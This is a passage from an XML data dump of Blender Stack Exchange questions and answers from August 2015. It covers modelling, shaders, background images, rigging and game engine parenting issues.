  <row Id="35379" PostTypeId="2" ParentId="35370" CreationDate="2015-08-09T19:37:38.133" Score="0" Body="&lt;p&gt;In Cycles the glass shader works better if it has some thickness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case a simple solidify modifier at top of the stack takes care of things:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9tKij.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9tKij.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-08-09T19:37:38.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35381" PostTypeId="1" CreationDate="2015-08-09T19:46:55.623" Score="1" ViewCount="69" Body="&lt;p&gt;Using blender 2.75&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I make the same planes except they are symmetrical on the y axis.&#xA;One of the planes bend in the middle horizontally and one vertically. This has happened before and is really bugging me. does anyone know why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DgX8A.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DgX8A.png&quot; alt=&quot;Looking from above.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/x6WEh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/x6WEh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see they should be the same but for some reason they are bent different to accommodate the odd shape.&lt;/p&gt;&#xA;" OwnerUserId="16270" LastEditorUserId="2217" LastEditDate="2015-08-09T19:50:19.677" LastActivityDate="2015-08-09T19:50:19.677" Title="Why do some planes in blender bend on a different axis" Tags="&lt;modeling&gt;&lt;faces&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35382" PostTypeId="2" ParentId="35375" CreationDate="2015-08-09T20:13:12.853" Score="5" Body="&lt;p&gt;You don't need to create the separate UV islands for each texture. You may unwrap once and assign two textures to one mesh (to both sides of it) using nodes. Set them up as pictured below. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/lzrQX.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lzrQX.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/tYwqq.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tYwqq.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2015-08-09T20:13:12.853" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35383" PostTypeId="2" ParentId="35334" CreationDate="2015-08-09T21:35:28.500" Score="3" Body="&lt;p&gt;You can use &quot;Align Active Camera To View&quot; from the View&gt;Align View menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ykZja.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ykZja.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Keyboard shortcut is: &lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;alt&lt;/kbd&gt;+&lt;kbd&gt;Numpad 0&lt;/kbd&gt;)&lt;/p&gt;&#xA;" OwnerUserId="72" LastActivityDate="2015-08-09T21:35:28.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35384" PostTypeId="1" CreationDate="2015-08-09T22:44:46.707" Score="1" ViewCount="353" Body="&lt;p&gt;Not only in ortho: top, front, back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please don't link this answer &lt;a href=&quot;https://blender.stackexchange.com/questions/118/how-do-i-set-a-background-image-while-i-am-editing&quot;&gt;How do I set a background image while I am editing?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want a background image like this guy has -&gt;&#xA;&lt;a href=&quot;https://youtu.be/M-RJ6tYrPmE?t=3m31s&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://youtu.be/M-RJ6tYrPmE?t=3m31s&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16085" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2015-08-09T23:15:51.990" Title="How do I get a constant Background Image?" Tags="&lt;image&gt;" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35385" PostTypeId="2" ParentId="35384" CreationDate="2015-08-09T22:50:49.087" Score="2" Body="&lt;p&gt;Go to the file --&gt; user preferences --&gt; add ons --&gt; type images --&gt; import images as planes --&gt; check the checkbox&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IoW9U.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IoW9U.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can go to file --&gt; import --&gt; images as planes. Or in the 3D view &lt;kbd&gt;SHIFT&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt; --&gt; mesh --&gt; images as plane&lt;/p&gt;&#xA;" OwnerUserId="8094" LastEditorUserId="8094" LastEditDate="2015-08-09T22:57:59.830" LastActivityDate="2015-08-09T22:57:59.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35386" PostTypeId="1" AcceptedAnswerId="35389" CreationDate="2015-08-09T22:52:44.103" Score="6" ViewCount="9465" Body="&lt;p&gt;In the online manual it shows a panel with a drop-down for selecting modifiers to add. I can't find that anywhere and no one seems to know anything about it? Is the manual wrong? Does that not exist? Is there a way to make Add Modifiers available via the UI?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.blender.org/manual/modifiers/introduction.html#interface&quot; rel=&quot;noreferrer&quot;&gt;https://www.blender.org/manual/modifiers/introduction.html#interface&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qhQPB.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qhQPB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16274" LastActivityDate="2020-08-11T21:16:03.623" Title="How do I add Add Modifier to the UI" Tags="&lt;modifiers&gt;&lt;interface&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35387" PostTypeId="2" ParentId="35384" CreationDate="2015-08-09T22:56:16.253" Score="2" Body="&lt;p&gt;At the beginning of the video the author clearly says &lt;strong&gt;&quot;I just added an image empty&quot;&lt;/strong&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add&gt;Empty&gt;Image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then select the image you want the empty to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Midy4.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Midy4.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZIvN8.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZIvN8.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of this is cleary stated on the answer you linked: &lt;a href=&quot;https://blender.stackexchange.com/a/314/1853&quot;&gt;https://blender.stackexchange.com/a/314/1853&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-08-09T23:01:22.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35388" PostTypeId="2" ParentId="35384" CreationDate="2015-08-09T22:58:43.413" Score="2" Body="&lt;p&gt;Add an &lt;em&gt;Empty&lt;/em&gt; (press &lt;em&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;--&gt;Empty--&gt;Image&lt;/em&gt;).&#xA;&lt;a href=&quot;https://i.stack.imgur.com/tPUsf.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tPUsf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under the &lt;em&gt;Properties&lt;/em&gt; header in the &lt;em&gt;Empty&lt;/em&gt; panel click on &lt;strong&gt;&lt;em&gt;Open&lt;/em&gt;&lt;/strong&gt;.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/mJqom.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mJqom.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adjust the &lt;em&gt;transparency&lt;/em&gt; of the image.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/WofPw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WofPw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-08-09T23:15:51.990" LastActivityDate="2015-08-09T23:15:51.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35389" PostTypeId="2" ParentId="35386" CreationDate="2015-08-09T23:04:37.137" Score="8" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/k7Zw5.jpg&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/k7Zw5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the properties panel you have the tab for the modifiers. If you click on add modifiers you can choose different modifiers&lt;/p&gt;&#xA;" OwnerUserId="8094" LastActivityDate="2015-08-09T23:04:37.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35390" PostTypeId="1" CreationDate="2015-08-09T23:11:42.660" Score="0" ViewCount="63" Body="&lt;p&gt;There's so many tutorials online I'm royally confused. Most are way more complicated than I think I need here .. but I am looking for the easiest way to bend or curve a 50 x 20 x 2 inch &quot;plank&quot; into a U shape. Then I want to add subdivisions and smooth to slightly round all the edges. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="16246" LastActivityDate="2015-08-09T23:11:42.660" Title="Easiest Way to BEND a plank into a U shape?" Tags="&lt;bezier-curves&gt;" AnswerCount="0" CommentCount="6" ClosedDate="2015-08-10T00:33:14.683" ContentLicense="CC BY-SA 3.0" />
  <row Id="35391" PostTypeId="1" CreationDate="2015-08-09T23:59:03.453" Score="1" ViewCount="240" Body="&lt;p&gt;I have a mesh, and i use 'select boundary loop' to select all the vertices on the outline of my mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;after that i need to exclude from this selection some vertices from a list of vertices stored in external txt file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what's the best way to do it?&lt;/p&gt;&#xA;" OwnerUserId="16276" LastActivityDate="2015-08-09T23:59:03.453" Title="Exclude specific vertices from selected vertices" Tags="&lt;python&gt;&lt;mesh&gt;&lt;vertices&gt;&lt;selection-tools&gt;&lt;bmesh&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35393" PostTypeId="2" ParentId="35386" CreationDate="2015-08-10T00:10:25.870" Score="1" Body="&lt;p&gt;Turns out it IS available from the default UI but at some resolutions you may not be able to see it. In the factory default view of the UI, on the right, under the Outline view, there is a bar with some mini icons on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turns out that bar extends to the left and if you have not manipulated your UI, the icon for modifiers is just past the edge of the screen hidden over there past the constraints button, seventh button over. (just like you see above)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had to grab that panel and pull its edge left thus opening up the panel and lo and behold there it is.&lt;/p&gt;&#xA;" OwnerUserId="16274" LastActivityDate="2015-08-10T00:10:25.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35394" PostTypeId="1" AcceptedAnswerId="35395" CreationDate="2015-08-10T00:21:00.153" Score="2" ViewCount="100" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WGpYq.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WGpYq.jpg&quot; alt=&quot;Retopo pulling unwanted vertices&quot;&gt;&lt;/a&gt;I'm having issues with blender selecting vertices that I can't see and projecting them through the other side.  Is there a setting where I can make it not allow selecting through my sculpt during the retopo process?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of what this is doing. Of course, I can't work in wireframe because its too hard to see my vertices.&lt;/p&gt;&#xA;" OwnerUserId="16275" LastActivityDate="2015-08-10T01:05:00.847" Title="Retopo Sculpt Selecting Unwanted Vertices" Tags="&lt;vertices&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35395" PostTypeId="2" ParentId="35394" CreationDate="2015-08-10T01:05:00.847" Score="2" Body="&lt;p&gt;open user preferences (file menu or &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;U&lt;/kbd&gt;) go in theme tab, select 3D View and change the colors  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nvQv3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nvQv3.png&quot; alt=&quot;User pref&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-08-10T01:05:00.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35397" PostTypeId="1" AcceptedAnswerId="57078" CreationDate="2015-08-10T02:07:27.600" Score="3" ViewCount="7605" Body="&lt;p&gt;I’m on an iMac with a Magic Mouse (no scroll wheel or &lt;kbd&gt;RMB&lt;/kbd&gt;). I use &lt;kbd&gt;RMB&lt;/kbd&gt; selection, via &lt;kbd&gt;&amp;#8984; command&lt;/kbd&gt; &lt;kbd&gt;LMB&lt;/kbd&gt;. I have enabled Emulate 3 Button Mouse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to figure out how to select edge loops. The usual method is &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;LMB&lt;/kbd&gt;, so for me that would be &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;&amp;#8984; Command&lt;/kbd&gt; &lt;kbd&gt;LMB&lt;/kbd&gt;, but that does nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried adding this preference (and tried all the mouse action types: Any, Press, etc.), but still nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RRXa1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RRXa1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I select edge loops with &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;&amp;#8984; Command&lt;/kbd&gt; &lt;kbd&gt;LMB&lt;/kbd&gt;?&lt;/p&gt;&#xA;" OwnerUserId="15400" LastEditorUserId="19287" LastEditDate="2016-04-14T11:45:53.183" LastActivityDate="2020-05-25T16:29:37.373" Title="How can I select edge loops with Magic Mouse on a Mac?" Tags="&lt;modeling&gt;&lt;workflow&gt;&lt;osx&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35398" PostTypeId="1" AcceptedAnswerId="35442" CreationDate="2015-08-10T02:09:32.053" Score="4" ViewCount="2856" Body="&lt;p&gt;So, i'm finally getting a handle on rigging in Blender and am doing pretty well except for one thing. My brother is doing the animating and had a few complaints/requests, so I went in and tried to fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The spline IK controls have to be on a separate armature than the other bones. My brother would like all the controls on the same armature so he can access all controls at once and have them all on the same list in the dope sheet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried creating all controls on a separate armature for the rig, but this results in double tranforms for everything and i'm having serious trouble keeping things parented. The finger controls won't follow the wrist control for example without throwing the deformation rig out of wack (with childof constraints on the fingers, and the controls for the fingers parented to the wrist, it just doesn't work)....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this? (have all controls including splineIK on the same armature).&lt;/p&gt;&#xA;" OwnerUserId="13400" LastActivityDate="2016-09-20T16:07:27.207" Title="Rigging question about Spline IK and having all controls on one armature" Tags="&lt;rigging&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35399" PostTypeId="1" CreationDate="2015-08-10T02:30:48.080" Score="1" ViewCount="86" Body="&lt;p&gt;I've imported a Lego model into Blender. How do I group the parts together so I can transform them as a single unit? I don't want the individual parts to be selectable using the mouse. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[edit]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the answer here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/105/is-it-possible-to-group-several-objects-and-then-manipulate-them-scale-rotate?rq=1&quot;&gt;Is it possible to group several objects and then manipulate them (scale, rotate, translate) as one?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is a duplicate.&lt;/p&gt;&#xA;" OwnerUserId="16250" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-08-10T06:19:26.213" Title="Grouping objects into a single object" Tags="&lt;groups&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-08-10T06:35:29.370" ContentLicense="CC BY-SA 3.0" />
  <row Id="35400" PostTypeId="1" CreationDate="2015-08-10T02:57:41.847" Score="2" ViewCount="2524" Body="&lt;p&gt;New to blender. Working on 3D printed prosthetic. One hand design we have has been scaled for a client. There is a certain part that falls about 1.5 inches to short. The diameter and circumference of the object need remain the same as other parts attach at both ends, but the object is 1.5 inches too short. I need to pull from one face out to elongate it. I do not want to scale it in the Y axis as it distorts the circumference and width. Is there a way to split the object up into cross sections and just extend further down one end? Any help would be appreciated as soon as possible. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="16280" LastActivityDate="2015-08-10T09:21:09.300" Title="Extending Object" Tags="&lt;modeling&gt;&lt;rendering&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35401" PostTypeId="1" CreationDate="2015-08-10T03:00:41.617" Score="1" ViewCount="634" Body="&lt;p&gt;I've tried everything to take that shine off. Turned 'shininess' down, specular, turned the lights way down low, everything. Why is it still so insanely shiny? :D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://deepplanet.com/fiddlejs/5/&quot; rel=&quot;nofollow&quot;&gt;Here's my code&lt;/a&gt; &#xA;(&lt;a href=&quot;http://deepplanet.com/fiddlejs/5/models/errari-laferrari.json&quot; rel=&quot;nofollow&quot;&gt;and the json model file&lt;/a&gt;). Takes a while to load. &lt;/p&gt;&#xA;" OwnerUserId="16229" LastEditorUserId="16229" LastEditDate="2015-08-10T05:15:41.573" LastActivityDate="2015-08-10T05:15:41.573" Title="Why is this 3d json file so shiny in three.js?" Tags="&lt;mesh&gt;&lt;materials&gt;&lt;three.js&gt;" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="35402" PostTypeId="2" ParentId="35224" CreationDate="2015-08-10T03:16:18.920" Score="13" Body="&lt;p&gt;Here is what I have been able to come up with:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ot6MM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the nodes:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/xxmvR.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xxmvR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;&lt;sub&gt;Click to enlarge.&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The shaders:&lt;/h2&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The bare cement shader is just a mix of diffuse/glossy with a cement image texture controlling the diffuse color &lt;em&gt;and the glossy roughness&lt;/em&gt; (after going through a color ramp for fine tuning).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The paint shader is a straight mix of glossy/diffuse with a light, desaturated yellow color on the diffuse shader.  On the paint I also use a high contrast grunge texture, sent through a multiply node, to mix in some grunge.  For the grunge just send a grunge texture through a color ramp with some grimy colors on a diffuse shader.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The mask:&lt;/h2&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;When paint wares off in real life it doesn't fade out and slowly reveal what's underneath of it, it chips off; it is either there or it isn't.  to simulate this I send a noise texture sent through a &lt;em&gt;math &gt; greater than&lt;/em&gt; node.  The greater than node gets rid of any grey in-between areas.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The bump-mapping:&lt;/h2&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;One of the biggest selling points for realism I have found is bump.  The biggest thing to keep in mind is that in real life the paint will conform to the surface it is on.  So in your material you want it to use the same bump mapping as the underlying surface (the bare concrete).  However it will slightly fill in the crevices and the bumps will not be quite as distinct.  To simulate this I use the same bump map for both shaders, but I use a smaller strength on the paint shader.  In terms of the bump itself I am using part image texture (same as the one for the bare concrete color), and mix it with two different sizes of voronoi (inverted with color ramps) using two &lt;em&gt;bump map&lt;/em&gt; nodes.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Further reference:&lt;/h2&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Here's the .blend file:&lt;br&gt;&#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/408/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=408&quot; /&gt;&lt;/a&gt;&lt;br&gt;&#xA;Unfortunately due to license issues I can't include the image textures in the .blend so you will have to use your own.&lt;/li&gt;&#xA;&lt;li&gt;See my answer &lt;a href=&quot;https://blender.stackexchange.com/a/34456/5705&quot;&gt;here&lt;/a&gt; for a more detailed look at levels of grunge.&lt;/li&gt;&#xA;&lt;li&gt;Check out &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?375840-Old-wooden-toy-truck&amp;amp;p=2908400&amp;amp;highlight=#post2908400&quot; rel=&quot;noreferrer&quot;&gt;this post on BA&lt;/a&gt; where I have a very similar shader for chipped paint on wood.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-08-10T04:12:36.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35403" PostTypeId="1" CreationDate="2015-08-10T03:41:18.603" Score="3" ViewCount="1209" Body="&lt;p&gt;Well the question is simple in blender there's hair particle tools and there's a lot of videos on how to work with it. But I haven't seen videos on coloring, painting or dyeing hair in blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I want to ask If I have my blender hair completely red can I give it some small black red highlights and a big yellow highlight?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I can how?&lt;/p&gt;&#xA;" OwnerUserId="14977" LastActivityDate="2016-06-15T03:16:38.920" Title="Highlights with hair" Tags="&lt;materials&gt;&lt;particles&gt;&lt;image&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35409" PostTypeId="1" CreationDate="2015-08-10T05:01:11.633" Score="1" ViewCount="29" Body="&lt;p&gt;I know this question might not belong to this site, but I have a very important decision to take.&#xA;I want to buy a computer/server for rendering, but I am not sure about what would be the best...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The computer will have an intel processor with 6cores (12threas) and a rate of 3,3GHz per core.&#xA;It will also have 16GB of DDR4 RAM&#xA;I have to say that I have the power supply for this machine already at home.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The server will have four processors with 6cores each and a rate of 2,66GHz.&#xA;It will also have 32GB DDR2-RAM&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the better choice?&lt;/p&gt;&#xA;" OwnerUserId="6433" LastEditorUserId="6433" LastEditDate="2015-08-10T05:10:13.407" LastActivityDate="2015-08-10T05:10:13.407" Title="Server or &quot;Workstation&quot;" Tags="&lt;rendering&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="1" ClosedDate="2015-08-10T12:44:00.980" ContentLicense="CC BY-SA 3.0" />
  <row Id="35410" PostTypeId="1" CreationDate="2015-08-10T05:01:52.933" Score="0" ViewCount="232" Body="&lt;p&gt;I was renaming animations and organizing my things, and I had nothing selecting while doing so. When I've finished, I've noticed that all my objects had changed their scale and form. How can I fix this? Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; It seems that the problem is in the rig, not the object. If I put the correct animation back, it won't fix itself.&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="1597" LastEditDate="2015-08-10T20:25:47.620" LastActivityDate="2015-08-10T20:25:47.620" Title="Objects stuck in the wrong animation?" Tags="&lt;animation&gt;&lt;game-engine&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35411" PostTypeId="1" CreationDate="2015-08-10T06:35:53.467" Score="1" ViewCount="227" Body="&lt;p&gt;I'm a Blender newbie and all I know about it is what you can find in YouTube-Tutorials. Now I have the problem, that I have to export a .psk/psa file from Blender (2.75a) and every time I try it, Blender stops answering and crashes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a makeHuman file imported in Blender, that I animated with the Dope sheet and the NLA Editor. In the tutorials, they say, that I have to set the cursor into the center (0/0/0) and the scale to (1/1/1) and so I did. I also joined the seperate Meshes of the body, hair and cloths, to have only one mesh parented. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody help me to create a .psk/psa NPC without crashing Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much. &lt;/p&gt;&#xA;" OwnerUserId="16290" LastActivityDate="2015-08-10T06:35:53.467" Title="Blender shut down while exporting psk/psa file" Tags="&lt;animation&gt;&lt;export&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35412" PostTypeId="1" CreationDate="2015-08-10T07:10:28.713" Score="0" ViewCount="799" Body="&lt;p&gt;I have a cube mesh that I want to have deleted when it collides with a hitbox. I parented the cube to another cube which is used for steering. After doing the parenting, the child no long fires the end object action on collisions. I have tried grouping them and having compound collision, but that doesn't help. I also ensured that neither of the options were set to 'ghost. How do I get this to work?&lt;/p&gt;&#xA;" OwnerUserId="16292" LastEditorUserId="5426" LastEditDate="2015-08-10T13:26:01.343" LastActivityDate="2015-08-13T05:25:12.590" Title="Parenting disabled collision with child objects" Tags="&lt;game-engine&gt;&lt;parent&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35413" PostTypeId="2" ParentId="35310" CreationDate="2015-08-10T07:30:10.133" Score="0" Body="&lt;p&gt;Positional keyframes are always relative to the parent. When you add an object via AddObject it has no parent. Therefore it plays relative to the scene's origin -&gt; it jumps away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add an empty to the hidden layer.&lt;/li&gt;&#xA;&lt;li&gt;Parent your object to the empty.&lt;/li&gt;&#xA;&lt;li&gt;AddObject the empty rather than your object.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Effect&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will add the empty with all of it's children, including your object. Your object will play the animation relative to it's parent, which is the  empty. The empty gets the position from the adding object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it helps&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-08-10T07:30:10.133" CommentCount="0" 